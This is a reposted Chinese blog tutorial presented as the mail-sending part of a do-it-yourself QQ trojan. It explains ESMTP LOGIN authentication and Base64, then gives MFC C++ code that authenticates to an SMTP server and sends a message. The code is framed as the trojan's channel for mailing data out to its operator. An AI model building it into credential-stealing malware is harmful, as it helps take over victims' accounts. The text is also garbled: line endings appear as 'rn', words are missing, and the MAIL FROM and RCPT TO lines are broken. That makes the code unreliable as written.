自己動手做QQ木馬----郵件傳送篇 (轉)

worldblog發表於2007-12-13
自己動手做QQ木馬----郵件傳送篇 (轉)[@more@]

自己動手做qq----傳送篇:namespace prefix = o ns = "urn:schemas--com::office" />

  以往各網站的E均是根據標準的SMTP編寫的,現在為了更有效地抑制垃圾郵件的泛濫,國內各大免費提供商紛紛開始採用ESMTP的方式設計收發服務。傳送郵件需要對的身份進行驗證,如果帳號和密碼有誤,ESMTP則拒絕傳送該郵件返回553錯誤程式碼。透過對協議的分析我找到設計這樣的方法,我們可以用Visual Baisc輕鬆完成。

  一、 方式

  ESMTP(Extension SMTP)即認證的郵件傳輸方式,是系統為了限制非本系統的正式使用者利用本系統散發垃圾郵件或其他不當行為而開設的一項認證服務。它與傳統的SMTP方式相比,主要的不同有兩點:

  1. 支援8-bit MIME格式的編碼。

  2. 支援使用者身份的驗證。

  多了一道使用者身份的驗證手續,驗證之後的郵件傳送過程與傳統的SMTP方式一致。為了方便使用者的使用,絕大多數的ESMTP伺服器都繼承了POP3伺服器的帳號和密碼設定體系,也就是說收發郵件都用同一個帳號和密碼。

  根據[ 2554]規範,SMTP的認證功能主要是增加了AUTH命令。AUTH命令有多種用法,而且有多種認證機制。AUTH支援的認證機制主要有LOGIN,CRAM-MD5[注1]等。LOGIN應該是大多數免費郵件伺服器都支援的,網易與新浪都支援。下面主要針對LOGIN方式進行介紹,其它方式請根據相應的RFC 規範進行修改。

LOGIN 方式口令-應答過程如下(S:表示伺服器返回,C:表示客戶端傳送)

  1. C: AUTH LOGIN

  2. S: 334 dXNlcm5hbWU6  // dXNlcm5hbWU6是username:的BASE64編碼

  3. C: dXNlcm5hbWU6

  4. S: 334 cGFzc3dvcmQ6  // cGFzc3dvcmQ6是pass:的BASE64編碼

  5. C: cGFzc3dvcmQ6

  6. S: 235 Authentication succesul.

   (1). 為客戶端向伺服器傳送認證指令。

   (2). 服務端返回base64編碼串,成功碼為334。編碼字串解碼後為"username:",說明要求客戶端傳送使用者名稱。

   (3). 客戶端傳送用base64編碼的使用者名稱,此處為"username:"。

   (4). 服務端返回base64編碼串,成功碼為334。編碼字串解碼後為"password:",說明要求客戶端傳送使用者口令。

   (5). 客戶端傳送用base64編碼的口令,此處為"password:"。

   (6). 成功後,服務端返回碼為235,表示認證成功可以傳送郵件了

二:BASE64編碼原理 (BBS 水木清華站Visualc版)

Base64編碼其實是將3個8位位元組轉換為4個6位位元組,( 3*8 = 4*6 = 24 ) 這4個六位位元組 其實仍然是8位,只不過高兩位被設定為0. 當一個位元組只有6位有效時,它的取值空間為0 到 2的6次方減1 即63,也就是說被轉換的Base64編碼的每一個編碼的取值空間為(0~63) 。

事實上,0~63之間的ASCII碼有許多不可見字元,所以應該再做一個對映,對映表為

‘A‘ ~ ‘Z‘ ? ASCII(0 ~ 25)

‘a’ ~ ‘z‘ ? ASCII(26 ~ 51)

‘0’ ~ ‘9‘ ? ASCII(52 ~ 61)

‘+‘ ? ASCII(62)

‘/‘ ? ASCII(63)

這樣就可以將3個8位位元組,轉換為4個可見字元。

具體的位元組拆分方法為:(圖(畫得不好,領會精神 :-))

aaaaaabb ccccdddd eeffffff  //abcdef其實就是1或0,為了看的清楚就用abcdef代替

~~~~~~~~ ~~~~~~~~ ~~~~~~~~

位元組 1 位元組 2 位元組 3

||

/

00aaaaaa 00bbcccc 00ddddee 00ffffff

注:上面的三個位元組位原文,下面四個位元組為Base64編碼,其前兩位均為0。

這樣拆分的時候,原文的位元組數量應該是3的倍數,當這個條件不能滿足時,用全零位元組

補足,轉化時Base64編碼用=號代替,這就是為什麼有些Base64編碼以一個或兩個等號結

束的原因,但等號最多有兩個,因為:如果F(origin)代表原文的位元組數,F(remain)代

表餘數,則

F(remain) = F(origin) MOD 3 成立。

所以F(remain)的可能取值為0,1,2.

如果設 n = [F(origin) – F(remain)] / 3

當F(remain) = 0 時,恰好轉換為4*n個位元組的Base64編碼。

當F(remain) = 1 時,由於一個原文位元組可以拆分為屬於兩個Base64編碼的位元組,為了

讓Base64編碼是4的倍數,所以應該為補2個等號。

當F(remain) = 2 時,由於兩個原文位元組可以拆分為屬於3個Base64編碼的位元組,同理,

應該補上一個等號。

三:郵件格式

也就是伺服器要求輸入DA他的時候,客戶輸入的郵件整個內容,如果輸入的郵件格式不符伺服器拒絕傳送郵件返回441郵件頭的某些域不符合伺服器要求的格式。

頭標由一個域名開始,然後一個冒號,接著是域主體部分,最後是序列指示行結束。下面的頭標是必須的:

Date  指示建立這個訊息的時間和日期  發信時間

From,或者Sender和From  包含傳送該訊息的使用者標誌  發件箱

To,cc(抄送)或Bcc(密抄)  包含訊息希望被髮送到的使用者標誌  收件箱

其他的一些頭標域是可選的,如:Return-path Reply-To, References, Keywords, Subject, Comments, Encrypted等這裡就不一一解釋了。

在本中使用CSmtp_fz類來傳送郵件,其中成員InitContent完成對DATA資料的格式化如下:

void CSmtp_fz::InitContent()

{

  CTime time = CTime::GetCurrentTime();

  CString strContent[5];

  //發件人

  strContent[0].Format("From: %srn",

  m_mailMsg.mail_from_address);

  //時間

  strContent[1].Format("Date: %srn",

  time.Format("%A, %B %d, %I:%M:%S, %Y"));

  //收件人

  strContent[2].Format("To: %srn",

  m_mailMsg.mail_to_address);

  //主題

  strContent[3].Format("Subject: %srn",

  m_mailMsg.mail_subject);

  //正文

  strContent[4].Format("Content %srn",

  m_mailMsg.mail_content);

  m_strContent = strContent[0] + strContent[1] + strContent[2]

  + strContent[3] + strContent[4];

    return;

}

m_strContent是CSmtp_fz類的成員變數,用於存放要傳送的資料內容。

四:郵件傳送

bool CSmtp_fz::()

{

  InitContent();

  CSocket socket;

  CString str, strResponse;

  CBase64 base64;

  if(!socket.Create())

  return false;

  if (socket.Connect(m_mailMsg.mail_server_name,

  m_mailMsg.mail_server_port))

  {

  CSocketFile file(&socket);

  CArchive arIn(&file, CArchive::load | CArchive::bNoFlushOnDelete);

  CArchive arOut(&file, CArchive::store | CArchive::bNoFlushOnDelete);

  while (TRUE)

  {

  // SMTP server ready

  //Say HELLO TO MAIL SERVER

  arIn.ReadString(strResponse);

  if ("220" != strResponse.Left(3)) break;

 

  CString strTemp;

  gethostname(strTemp.GetBuffer(256), 256);

  strTemp.ReleaseBuffer();

  str.Format("HELO %srn", (LPCSTR)strTemp);

 

  arOut.WriteString(str); arOut.Flush();

  arIn.ReadString(strResponse);

  if ("250" != strResponse.Left(3)) break;

 

  //CERTIFICATION

  str = "AUTH LOGIN rn";

  arOut.WriteString(str); arOut.Flush();

  arIn.ReadString(strResponse);

  if ("334" != strResponse.Left(3)) break;

 

  str = base64.Encode(LPCSTR(m_mailMsg.mail_account),

  sizeof(m_mailMsg.mail_account));

  str = str + "rn";

  arOut.WriteString(str); arOut.Flush();

  arIn.ReadString(strResponse);

  if ("334" != strResponse.Left(3)) break;

 

  str = base64.Encode(LPCSTR(m_mailMsg.mail_password),

  sizeof(m_mailMsg.mail_password));

  str = str + "rn";

  arOut.WriteString(str); arOut.Flush();

  arIn.ReadString(strResponse);

  if ("235" != strResponse.Left(3)) break;

 

  // MAIL FROM command

  str.Format("MAIL FROM: rn",

  (LPCSTR)(m_mailMsg.mail_from_address));

  arOut.WriteString(str); arOut.Flush();

  arIn.ReadString(strResponse);

  if ("250" != strResponse.Left(3)) break;

 

  // RCPT TO command

  str.Format("RCPT TO:

  str = str + ">rn";

  arOut.WriteString(str); arOut.Flush();

  arIn.ReadString(strResponse);

  strResponse = strResponse.Left(3);

  if (("250" != strResponse) && ("251" != strResponse)) break;

 

  // DATA command

  arOut.WriteString("DATArn"); arOut.Flush();

  arIn.ReadString(strResponse);

  strResponse = strResponse.Left(3);

  if (("250" != strResponse) && ("354" != strResponse))break;

 

  //傳送資料

  CString strBuffer;

  strBuffer = m_strContent;

  // . -> ..

  // .. -> ...

  if ((!strBuffer.IsEmpty()) && ('.' == strBuffer[0]))

  strBuffer = '.' + strBuffer;

 

  str = strBuffer;

  arOut.WriteString(str);

 

  arOut.WriteString(".rn"); arOut.Flush();

  arIn.ReadString(strResponse);

  if("250" != strResponse.Left(3))break;

 

  // QUIT command

  arOut.WriteString("QUITrn"); arOut.Flush();

  arIn.ReadString(strResponse);

  return true;

  }

  }

  else

  {

  str.Format("SMTP Host %s can't reach.", m_mailMsg.mail_server_name);

  MessageBox(NULL, str, "Error", MB_OK);

  return false;

  }

 

  MessageBox(NULL, "Connection is reset.", "Error", MB_OK);

  return false;

}

參考資料:

<> 2002-09-17·劉靜·yesky


來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10752043/viewspace-993037/,如需轉載,請註明出處,否則將追究法律責任。

相關文章